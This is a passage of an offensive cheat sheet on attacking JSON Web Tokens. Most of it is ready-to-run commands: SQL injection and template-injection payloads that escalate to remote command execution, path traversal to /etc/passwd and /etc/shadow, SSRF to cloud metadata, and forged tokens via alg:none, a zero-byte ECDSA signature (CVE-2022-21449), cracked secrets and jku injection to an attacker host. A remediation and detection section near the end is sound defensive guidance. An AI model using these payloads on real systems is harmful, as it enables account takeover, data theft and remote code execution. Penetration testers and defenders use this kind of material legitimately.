python3 jwt_tool.py TOKEN_HERE -I -pc iss -pv 'https://legitimate-sso.com'

# Cross-tenant attacks (multi-tenant SaaS):
# Change aud to another tenant's service identifier
python3 jwt_tool.py TOKEN_HERE -I -pc aud -pv 'victim-company.service.com'

12. Embedded Attacks — SQLi / SSTI in Claims

12.1 SQLi in JWT Claims

# Claims rendered into DB queries server-side:
# Vulnerable: SELECT * FROM users WHERE username = '{token.sub}'

# Test with single quote:
python3 jwt_tool.py TOKEN_HERE -I -pc sub -pv "admin'"
# → SQL error in response → SQLi confirmed

# Union-based extraction:
python3 jwt_tool.py TOKEN_HERE -I -pc sub -pv "admin' UNION SELECT 1,username,password FROM users-- -"

# Error-based:
python3 jwt_tool.py TOKEN_HERE -I -pc sub -pv "admin' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1)))-- -"

# Boolean blind:
python3 jwt_tool.py TOKEN_HERE -I -pc username -pv "admin' AND 1=1-- -"   # TRUE
python3 jwt_tool.py TOKEN_HERE -I -pc username -pv "admin' AND 1=2-- -"   # FALSE

# Time-based blind:
python3 jwt_tool.py TOKEN_HERE -I -pc username -pv "admin' AND SLEEP(5)-- -"

12.2 SSTI in JWT Claims

# Claims rendered into templates server-side:
# Vulnerable: render_template_string(f"Welcome {token['name']}!")

# Test with math expression:
python3 jwt_tool.py TOKEN_HERE -I -pc name -pv '{{7*7}}'
python3 jwt_tool.py TOKEN_HERE -I -pc name -pv '${7*7}'
python3 jwt_tool.py TOKEN_HERE -I -pc name -pv '<%= 7*7 %>'

# If 49 appears in response → SSTI in JWT claim
# Escalate to RCE (Jinja2):
python3 jwt_tool.py TOKEN_HERE -I -pc name -pv "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"

# Freemarker:
python3 jwt_tool.py TOKEN_HERE -I -pc name -pv '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'

12.3 Path Traversal in Claims

# If filename or path is embedded in claims and used for file operations:
python3 jwt_tool.py TOKEN_HERE -I -pc file -pv '../../etc/passwd'
python3 jwt_tool.py TOKEN_HERE -I -pc template -pv '../../../etc/shadow'
python3 jwt_tool.py TOKEN_HERE -I -pc report -pv '....//....//etc/passwd'

12.4 SSRF via Claims

# If a URL-like claim is fetched server-side (e.g., avatar_url, callback_url):
python3 jwt_tool.py TOKEN_HERE -I -pc avatar_url -pv 'http://169.254.169.254/latest/meta-data/'
python3 jwt_tool.py TOKEN_HERE -I -pc callback -pv 'http://internal-admin.corp/'
python3 jwt_tool.py TOKEN_HERE -I -pc webhook -pv 'http://COLLABORATOR.oastify.com/'

13. JWT in OAuth / SSO Flows

13.1 Token Substitution

# In OAuth flows with multiple services:
# 1. Get a token for Service A (low-privilege)
# 2. Send it to Service B (high-privilege endpoint)
# If Service B accepts tokens issued for Service A → privilege escalation

# Identify services sharing the same JWT issuer (iss):
# Test: use /api/a's token on /api/b endpoints

# Cross-account token substitution:
# 1. Create two accounts: attacker, victim
# 2. Get attacker's token
# 3. Modify sub/user_id to victim's ID (requires signature forging)
# 4. Access victim's resources

# Check if refresh tokens can be used as access tokens:
curl -s https://target.com/api/me \
  -H "Authorization: Bearer REFRESH_TOKEN_HERE"

13.2 Scope Escalation in OAuth JWT

# OAuth scopes embedded in JWT payload:
# "scope": "read:profile"
# "scope": "read:profile write:profile admin:all"

# Escalate scope:
python3 jwt_tool.py TOKEN_HERE -I -pc scope -pv 'admin:all read:admin write:admin'

# OpenID Connect specific claims:
python3 jwt_tool.py TOKEN_HERE -I -pc profile -pv 'admin'
python3 jwt_tool.py TOKEN_HERE -I -pc email_verified -pv 'true'

13.3 JWT Replay Attacks

# Replay a JWT across:
# - Different user contexts
# - Different environments (staging vs prod — shared secrets)
# - Different microservices in same cluster

# Test staging vs prod token reuse:
# Get token from staging.target.com → try on api.target.com

# Identify jti (JWT ID) claim — unique ID to prevent replay:
# If jti is present but not validated server-side → replay works
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .jti

# Test without jti:
python3 jwt_tool.py TOKEN_HERE -I -pd jti

14. JWT Algorithm Confusion — ECDSA (CVE-2022-21449 "Psychic Signatures")

14.1 Concept

CVE-2022-21449 affects Java 15–17 (< 15.0.7, < 17.0.3) and Android < 8.0. The ECDSA signature verification in java.security.Signature does not validate that r and s in the signature are non-zero. A signature of all zeros (or null bytes) passes verification for any public key and any message.

Normal ECDSA signature: r and s are non-zero integers derived from the signing key
Psychic Signature:      r = 0, s = 0  → Java verifies this as VALID against ANY key

14.2 Check Vulnerability

# Is the server using Java 15-17 < 15.0.7 / 17.0.3?
# Check response headers:
curl -Iv https://target.com/ 2>&1 | grep -iE "Server:|X-Powered-By:|X-Runtime"

# If ES256/ES384/ES512 in JWT header → potentially vulnerable

# Check Java version (if accessible via error pages or /actuator):
curl -s https://target.com/actuator/env | jq '.["java.runtime.version"]'

14.3 Exploit — Zero Signature

# Python3 — craft ES256 JWT with r=0, s=0 signature:
python3 -c "
import base64, json

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Header with ES256:
header = b64url(json.dumps({'alg': 'ES256', 'typ': 'JWT'}, separators=(',', ':')))

# Payload with admin role:
payload = b64url(json.dumps({'sub': '1234', 'role': 'admin', 'exp': 9999999999}, separators=(',', ':')))

# ECDSA P-256 signature: DER-encoded sequence of two 32-byte integers (r and s)
# For psychic signature: r = 1, s = 1 (some implementations), or encode as zeros
# Null/zero signature (64 zero bytes for ES256 raw r||s format):
sig_bytes = b'\x00' * 64
sig = base64.urlsafe_b64encode(sig_bytes).rstrip(b'=').decode()

token = f'{header}.{payload}.{sig}'
print(token)
"

15. Automation — jwt_tool, hashcat, & Other Tools

15.1 jwt_tool — All-in-One

# Install:
git clone https://github.com/ticarpi/jwt_tool
pip3 install pycryptodome termcolor cprint prettytable requests --break-system-packages

# Decode & inspect a JWT:
python3 jwt_tool.py TOKEN_HERE -D

# Run all tests (scan mode):
python3 jwt_tool.py TOKEN_HERE -M pb     # playbook scan — runs common attacks automatically
python3 jwt_tool.py TOKEN_HERE -M at     # all tests

# Specific attacks:
python3 jwt_tool.py TOKEN_HERE -X a      # algorithm confusion / none bypass
python3 jwt_tool.py TOKEN_HERE -X i      # jwk injection (embedded key)
python3 jwt_tool.py TOKEN_HERE -X s -ju URL  # jku injection
python3 jwt_tool.py TOKEN_HERE -X e      # x5u injection (requires setup)
python3 jwt_tool.py TOKEN_HERE -C -d wordlist.txt  # crack HS secret

# Tamper claims:
python3 jwt_tool.py TOKEN_HERE -I -pc CLAIM -pv VALUE        # payload claim
python3 jwt_tool.py TOKEN_HERE -I -hc HEADER_PARAM -hv VALUE  # header param
python3 jwt_tool.py TOKEN_HERE -I -pd CLAIM                   # delete claim

# Resign after tampering:
python3 jwt_tool.py TOKEN_HERE -I -pc role -pv admin -S hs256 -p 'secret'   # HS256
python3 jwt_tool.py TOKEN_HERE -I -pc role -pv admin -S rs256 -pr private.pem  # RS256

# Fuzz with a wordlist against an endpoint:
python3 jwt_tool.py TOKEN_HERE -t https://target.com/api/admin \
  -rh "Authorization: Bearer" \
  -M pb

15.2 hashcat — JWT Cracking

# Mode 16500 = JWT

# RockYou:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Rules:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/d3ad0ne.rule

# Incremental brute force (1-8 chars all printable):
hashcat -a 3 -m 16500 jwt.txt --increment --increment-min=1 \
  --increment-max=8 ?a?a?a?a?a?a?a?a

# Status check while running:
# Press 's' during hashcat run to see status

15.3 Burp Suite — JWT Testing

BURP WORKFLOW:
1. Proxy → Intercept a request with JWT in Authorization header
2. Send to Repeater (Ctrl+R)
3. Use Burp's JSON Web Token tab (if JWT Editor extension installed)
4. In JWT Editor:
   - Attack → Embedded JWK → generate key + inject
   - Attack → JWKS Spoofing → set your server URL
   - Attack → Alg:none → strip signature
   - Attack → Key confusion → paste public key PEM

BURP EXTENSIONS FOR JWT:
- JWT Editor (PortSwigger) → https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd
  → Best all-in-one: sign, forge, attack, scan
- JSON Web Tokens (OSSA) → decode and tamper
- JWT Scanner → automated JWT attack scanner

JWT EDITOR — KEY STEPS:
1. Extender → BApp Store → install "JWT Editor"
2. Go to JWT Editor Keys tab → New RSA Key (auto-generates keypair)
3. In Repeater, click "JSON Web Token" tab
4. Click "Attack" → select attack type
5. Modify payload claims as needed
6. "Sign" with appropriate key

15.4 CyberChef — Manual Decode/Encode

URL: https://gchq.github.io/CyberChef/

Decode JWT:
1. Input: paste full JWT
2. Recipe: "JWT Decode" → shows header + payload

Forge HS256 JWT:
1. Build header JSON + payload JSON
2. Recipe: "JWT Sign" → set algorithm HS256, secret
3. Output: forged JWT

15.5 Useful One-Liners

# Decode any JWT fast:
jwt_decode() {
  echo "$1" | cut -d'.' -f1 | base64 -d 2>/dev/null | python3 -m json.tool
  echo "---"
  echo "$1" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
}
jwt_decode "YOUR_TOKEN_HERE"

# Check if token has "none" alg vulnerability:
ALGNONE=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo "YOUR_TOKEN" | cut -d'.' -f2)
NONE_TOKEN="${ALGNONE}.${PAYLOAD}."
curl -s https://target.com/api/me -H "Authorization: Bearer $NONE_TOKEN"

# Extract all JWTs from Burp history / log file:
grep -oE 'eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]*' burp_history.txt | sort -u

# Quick hashcat on a JWT:
crack_jwt() { hashcat -a 0 -m 16500 <(echo "$1") /usr/share/wordlists/rockyou.txt; }

16. Remediation

16.1 Algorithm Allowlist — Primary Control

// Node.js (jsonwebtoken) — ALWAYS specify allowed algorithms:
const jwt = require('jsonwebtoken');

// VULNERABLE — accepts any algorithm including "none":
const decoded = jwt.verify(token, publicKey);

// SAFE — allowlist only expected algorithm:
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// Now "none", "HS256", and all other algorithms are REJECTED

// For HMAC (HS256):
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });
# Python (PyJWT) — specify algorithms explicitly:
import jwt

# VULNERABLE:
data = jwt.decode(token, public_key, algorithms=jwt.algorithms.get_default_algorithms())

# SAFE:
data = jwt.decode(token, public_key, algorithms=["RS256"])

# Or for HMAC:
data = jwt.decode(token, SECRET, algorithms=["HS256"])
// Java (jjwt) — specify parser with fixed algorithm:
Jwts.parserBuilder()
    .setSigningKey(publicKey)
    .requireAlgorithm("RS256")   // explicitly require RS256
    .build()
    .parseClaimsJws(token);

16.2 Use Strong Secrets for HS256

# Generate cryptographically secure random secret (at least 256 bits):
openssl rand -hex 32              # 256-bit hex secret
openssl rand -base64 32           # 256-bit base64 secret
python3 -c "import secrets; print(secrets.token_urlsafe(32))"

# Store in environment variable — NEVER hardcode:
export JWT_SECRET=$(openssl rand -base64 32)

# Node.js:
const secret = process.env.JWT_SECRET;
if (!secret || secret.length < 32) throw new Error("JWT secret too short");

16.3 Header Parameter Validation

// NEVER allow jku, jwk, x5u, x5c from client-supplied tokens:
// If you verify using JWKS, pin the JWKS URL server-side:

// SAFE — use hard-coded JWKS URL, ignore header jku:
const JWKS_URI = 'https://your-auth-server.com/.well-known/jwks.json';  // STATIC
const jwksClient = require('jwks-rsa');
const client = jwksClient({ jwksUri: JWKS_URI });

function getKey(header, callback) {
    // Use ONLY kid from header to select key, NOT jku/jwk/x5u:
    client.getSigningKey(header.kid, function(err, key) {
        callback(null, key.getPublicKey());
    });
}

jwt.verify(token, getKey, { algorithms: ['RS256'] }, (err, decoded) => { ... });
# If using kid for key lookup — sanitize it:
import re

# Allowlist: only alphanumeric and hyphens in kid:
def get_key(kid):
    if not re.match(r'^[a-zA-Z0-9\-_]{1,50}$', kid):
        raise ValueError("Invalid kid")
    # Now safe to use in DB query or file lookup
    return key_store.get(kid)

16.4 Validate All Claims Server-Side

// Always validate: exp, nbf, iss, aud — do not rely on library defaults:
const decoded = jwt.verify(token, secret, {
    algorithms: ['HS256'],
    issuer: 'https://auth.yourapp.com',   // must match iss claim
    audience: 'https://api.yourapp.com', // must match aud claim
    clockTolerance: 30                    // 30 seconds leeway for clock skew
});

// Additional manual checks after decode:
if (!decoded.sub) throw new Error("Missing subject");
if (decoded.exp < Math.floor(Date.now() / 1000)) throw new Error("Token expired");
if (decoded.role && !['user','admin'].includes(decoded.role)) throw new Error("Invalid role");

16.5 Token Revocation

// JWTs are stateless — revoke via jti blocklist:

// Generate unique jti at issuance:
const { v4: uuidv4 } = require('uuid');
const payload = {
    sub: userId,
    jti: uuidv4(),   // unique ID
    exp: Math.floor(Date.now()/1000) + 3600
};

// On verification — check blocklist:
async function verifyToken(token) {
    const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });

    // Check if jti is revoked (Redis/DB):
    const revoked = await redis.get(`revoked:${decoded.jti}`);
    if (revoked) throw new Error("Token revoked");

    return decoded;
}

// On logout — add jti to blocklist:
async function logout(token) {
    const decoded = jwt.decode(token);
    const ttl = decoded.exp - Math.floor(Date.now()/1000);
    await redis.setex(`revoked:${decoded.jti}`, ttl, '1');
}

16.6 Defense-in-Depth

PRIMARY CONTROLS:
├── Explicitly allowlist algorithm(s) — NEVER accept "none"
├── Use RS256 (asymmetric) for distributed systems — secret never leaves auth server
├── Generate HS256 secrets with >= 256 bits of entropy via CSPRNG
├── Pin JWKS URL server-side — NEVER trust jku/jwk/x5u from token header
└── Validate kid with allowlist regex before use in DB query or file read

CLAIM VALIDATION:
├── Always validate: exp (enforce), iss (allowlist), aud (exact match), nbf
├── Never trust role/isAdmin/permissions claims from tokens you didn't issue
├── Validate sub is a real, active user on every request
└── Reject unexpected or unknown claims if strict parsing is possible

ARCHITECTURE:
├── Short expiry times: access tokens 15min, refresh tokens 24h
├── Implement jti-based revocation for logout
├── Rotate signing keys periodically (key versioning via kid)
├── Never embed sensitive data in payload (visible to anyone)
└── Use JWE (encrypted JWT) if payload contains PII

DETECTION:
├── Log all JWT verification failures with the token fragment (first 10 chars)
├── Alert on tokens with alg=none or unexpected algorithm
├── Alert on requests with malformed/unsigned tokens
├── Monitor for tokens with jku/x5u pointing to external hosts
└── Rate-limit endpoints that accept JWTs to slow brute-force attempts

17. Master Cheat Sheet

Attack Decision Flow

Got a JWT?
│
├── Decode: header | payload (base64url decode each part)
│
├── alg = "none" or missing? → None bypass (empty signature, trailing dot)
│
├── alg = "HS256"?
│   ├── Crack with hashcat -m 16500 → forge with cracked secret
│   ├── Try none bypass
│   └── Try RS256 confusion if server also accepts RS256
│
├── alg = "RS256"?
│   ├── Public key available? → RS256→HS256 confusion
│   ├── jku/x5u/jwk/x5c in header? → Key injection (Sections 7-10)
│   └── Try none bypass
│
├── kid in header?
│   ├── Path traversal: ../../dev/null → sign with empty string
│   └── SQL injection: x' UNION SELECT 'mysecret'-- -
│
├── No crypto bypass?
│   ├── IDOR: change sub/user_id to other user's ID
│   ├── Privilege: change role/isAdmin/permissions
│   ├── Expiry: remove exp or set to future
│   └── Embedded injection: SQLi/SSTI/SSRF in claim values
│
└── OAuth/SSO?
    ├── Token substitution across services
    ├── Replay expired token (missing validation?)
    └── Scope escalation

Quick Payload Reference

# ── NONE ALGORITHM ──
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"1","role":"admin","exp":9999999999}' | base64 | tr '+/' '-_' | tr -d '=')
NONE_TOKEN="${HEADER}.${PAYLOAD}."

# ── ALGORITHM CONFUSION (RS256 → HS256) ──
python3 jwt_tool.py TOKEN -X a -pk public.pem -I -pc role -pv admin

# ── WEAK SECRET CRACK ──
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py TOKEN -C -d rockyou.txt

# ── SIGN WITH CRACKED SECRET ──
python3 jwt_tool.py TOKEN -I -pc role -pv admin -S hs256 -p 'cracked_secret'

# ── KID PATH TRAVERSAL ──
python3 jwt_tool.py TOKEN -I -hc kid -hv '../../dev/null' -S hs256 -p ''

# ── KID SQL INJECTION ──
python3 jwt_tool.py TOKEN -I -hc kid -hv "x' UNION SELECT 'mysecret'-- -" -S hs256 -p 'mysecret'

# ── JKU INJECTION ──
python3 jwt_tool.py TOKEN -X s -ju 'http://ATTACKER_IP:8888/jwks.json'

# ── JWK INJECTION (embedded key) ──
python3 jwt_tool.py TOKEN -X i -I -pc role -pv admin

# ── CLAIM MANIPULATION (after forging) ──
python3 jwt_tool.py TOKEN -I -pc role -pv admin
python3 jwt_tool.py TOKEN -I -pc sub -pv 1
python3 jwt_tool.py TOKEN -I -pc isAdmin -pv true
python3 jwt_tool.py TOKEN -I -pd exp         # delete expiry

# ── DECODE TOKEN ──
echo TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# ── SCAN ALL ATTACKS ──
python3 jwt_tool.py TOKEN -M pb    # playbook — automated scan

jwt_tool Quick Reference

# Mode flags:
-D          → decode only
-T          → interactive tamper
-I          → inject claim (non-interactive)
-C          → crack HMAC secret
-X          → exploit:
              a = alg:none / confusion
              i = jwk header injection
              s = jku injection (set with -ju URL)
              e = x5u injection
-M pb       → playbook scan (automated)
-M at       → all tests

# Claim flags:
-pc CLAIM   → payload claim name
-pv VALUE   → payload claim value
-pd CLAIM   → delete payload claim
-hc PARAM   → header param name
-hv VALUE   → header param value

# Signing flags:
-S hs256    → sign with HS256 (-p secret)
-S hs384    → sign with HS384
-S hs512    → sign with HS512
-S rs256    → sign with RS256 (-pr private.pem)
-pk file    → public key (for confusion attack)
-pr file    → private key (for RS signing)
-p secret   → HMAC secret

# Request flags:
-t URL      → target URL to test
-rh HEADER  → request header prefix (e.g., "Authorization: Bearer")

Common Claims Reference

CLAIM    TYPE      DESCRIPTION                    ATTACK TARGET?
───────────────────────────────────────────────────────────────────
sub      string    Subject (user ID)              ✓ IDOR, impersonation
iss      string    Issuer URL                     ✓ Token confusion
aud      string    Audience (intended service)    ✓ Cross-service replay
exp      number    Expiry (Unix timestamp)        ✓ Remove/extend
nbf      number    Not before (Unix timestamp)    ✓ Remove
iat      number    Issued at (Unix timestamp)     ✗ Rarely enforced
jti      string    JWT ID (unique, for revoke)    ✗ Copy to prevent revoke
role     string    User role                      ✓ Escalate to admin
isAdmin  bool      Admin flag                     ✓ Set to true
groups   array     Group memberships              ✓ Add admin group
scope    string    OAuth scopes                   ✓ Add admin scopes
email    string    User email                     ✓ Change to another user
username string    Username                       ✓ Change to admin
kid      string    Key ID (header)                ✓ Path traversal, SQLi
jku      string    JWK Set URL (header)           ✓ SSRF, key injection
jwk      object    Embedded JWK (header)          ✓ Key injection
x5u      string    X.509 cert URL (header)        ✓ SSRF, key injection

← Web top ↑